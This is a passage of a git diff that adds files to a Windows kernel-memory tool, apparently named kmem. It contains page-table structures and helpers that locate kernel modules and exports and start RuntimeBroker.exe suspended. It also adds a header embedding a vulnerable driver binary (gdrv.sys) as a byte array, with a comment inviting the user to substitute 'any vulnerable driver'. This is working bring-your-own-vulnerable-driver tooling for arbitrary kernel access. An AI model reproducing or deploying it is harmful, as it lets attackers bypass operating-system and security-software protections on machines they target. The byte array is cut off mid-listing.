PDPTE. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pdpte, * ppdpte; +static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pde +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT. + std::uint64_t page_cache : 1; // Determines the memory type used to access PT. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PT of this PDE. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pde, * ppde; +static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pte +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory. + std::uint64_t page_cache : 1; // Determines the memory type used to access the memory. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to. + std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory. + std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global. + std::uint64_t Ignored2 : 3; + std::uint64_t pfn : 36; // The page frame number of the backing physical page. + std::uint64_t reserved : 4; + std::uint64_t Ignored3 : 7; + std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key. + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pte, * ppte; +static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +struct pt_entries +{ + std::pair pml4; + std::pair pdpt; + std::pair pd; + std::pair pt; +}; \ No newline at end of file diff --git a/kmem/util/util.hpp b/kmem/util/util.hpp new file mode 100644 index 0000000..fd07443 --- /dev/null +++ b/kmem/util/util.hpp @@ -0,0 +1,323 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nt.hpp" + +namespace util +{ + //--- ranges of physical memory + inline std::map pmem_ranges; + + //--- validates the address + __forceinline auto is_valid(std::uintptr_t addr) -> bool + { + for (auto range : pmem_ranges) + if (addr >= range.first && addr <= range.first + range.second) + return true; + return false; + } + + inline const auto init_ranges = ([&]() -> bool + { + HKEY h_key; + DWORD type, size; + LPBYTE data; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); + RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size + data = new BYTE[size]; + RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); + DWORD count = *(DWORD*)(data + 16); + auto pmi = data + 24; + for (int dwIndex = 0; dwIndex < count; dwIndex++) + { + pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); + pmi += 20; + } + delete[] data; + RegCloseKey(h_key); + return true; + })(); + + __forceinline auto get_module_base(const char* module_name) -> std::uintptr_t + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return {}; + } + + __forceinline auto start_runtime_broker() -> std::uint32_t + { + STARTUPINFO si; + PROCESS_INFORMATION pi; + + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + CreateProcessA( + NULL, + (LPSTR)"C:\\Windows\\System32\\RuntimeBroker.exe", + NULL, + NULL, + FALSE, + 0, + NULL, + NULL, + &si, + &pi + ); + + SuspendThread(pi.hThread); + return pi.dwProcessId; + } + + + __forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER + { + if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE) + return {}; + + PIMAGE_DOS_HEADER dos_headers = + reinterpret_cast(base_addr); + + PIMAGE_NT_HEADERS nt_headers = + reinterpret_cast( + reinterpret_cast(base_addr) + dos_headers->e_lfanew); + + return &nt_headers->FileHeader; + } + + __forceinline auto get_pid(const char* proc_name) -> std::uint32_t + { + PROCESSENTRY32 proc_info; + proc_info.dwSize = sizeof(proc_info); + + HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (proc_snapshot == INVALID_HANDLE_VALUE) + return NULL; + + Process32First(proc_snapshot, &proc_info); + if (!strcmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + + while (Process32Next(proc_snapshot, &proc_info)) + { + if (!strcmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + } + + CloseHandle(proc_snapshot); + return NULL; + } + + __forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + __forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void* + { + void* buffer = nullptr; + DWORD buffer_size = 0; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return 0; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + // find module and then load library it + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + // had to shoot the tires off of "\\SystemRoot\\" + std::string full_path = reinterpret_cast(modules->Modules[idx].FullPathName); + full_path.replace( + full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, + std::string(getenv("SYSTEMROOT")).append("\\") + ); + + auto module_base = LoadLibraryExA(full_path.c_str(), + NULL, DONT_RESOLVE_DLL_REFERENCES); + PIMAGE_DOS_HEADER p_idh; + PIMAGE_NT_HEADERS p_inh; + PIMAGE_EXPORT_DIRECTORY p_ied; + + PDWORD addr, name; + PWORD ordinal; + + p_idh = (PIMAGE_DOS_HEADER)module_base; + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return NULL; + + p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + + p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); + name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); + ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); + + for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + { + if (!strcmp(export_name, (char*)module_base + name[i])) + { + if (!rva) + { + auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + else + { + auto result = (void*)addr[ordinal[i]]; + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + } + } + } + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + __forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void* + { + PIMAGE_DOS_HEADER p_idh; + PIMAGE_NT_HEADERS p_inh; + PIMAGE_EXPORT_DIRECTORY p_ied; + + PDWORD addr, name; + PWORD ordinal; + + p_idh = (PIMAGE_DOS_HEADER)module_base; + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return NULL; + + p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + + p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); + name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); + ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); + + for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + { + if (!strcmp(export_name, (char*)module_base + name[i])) + { + auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]); + return result; + } + } + return NULL; + } +} \ No newline at end of file diff --git a/kmem/vdm/raw_driver.hpp b/kmem/vdm/raw_driver.hpp new file mode 100644 index 0000000..40ed341 --- /dev/null +++ b/kmem/vdm/raw_driver.hpp @@ -0,0 +1,2242 @@ +#include + +namespace vdm +{ + // gdrv.sys, but put any vulnerable driver here... + constexpr std::uint8_t raw_driver[] = + { + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, + 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, + 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, + 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, + 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, + 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, + 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, + 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, + 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, + 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, + 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, + 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, + 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, + 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, + 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, + 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, + 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, + 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, + 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, + 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, + 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, + 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, + 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, + 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, + 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, + 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, + 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, + 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, + 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, + 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, + 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, + 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, + 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, + 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, + 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, + 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, + 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, + 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5E, + 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, + 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, + 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, + 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, + 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, + 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, + 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, + 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, + 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, + 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, + 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, + 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, + 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, + 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, + 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, + 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, + 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, + 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, + 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, + 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, + 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, + 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, + 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, + 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, + 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, + 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, + 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 